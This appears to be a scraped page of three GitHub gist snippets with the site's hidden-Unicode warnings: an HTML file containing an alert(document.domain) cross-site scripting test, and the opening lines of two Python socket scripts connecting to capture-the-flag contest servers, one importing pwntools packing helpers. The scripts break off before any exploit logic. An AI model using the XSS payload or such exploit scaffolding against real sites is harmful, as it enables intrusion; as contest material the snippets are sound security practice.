This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <html> | |
| aaabcdeasd | |
| <script>alert(document.domain);</script> | |
| </html> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| host = 'misc04.grandprix.whitehatvn.com' | |
| port = 1337 | |
| import socket | |
| s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
| s.connect((host, port)) | |
| def recv_until(s,st): | |
| tmp='' | |
| while st not in tmp: | |
| tmp+=s.recv(1) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import socket | |
| from pwn import u64, p64 | |
| s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
| s.connect(('43.224.35.245', 3425)) | |
| print s.recv(1024) | |
| print s.recv(1024) | |
| s.send('manh\n') | |
| print s.recv(1024) | |
| def my_recv(): |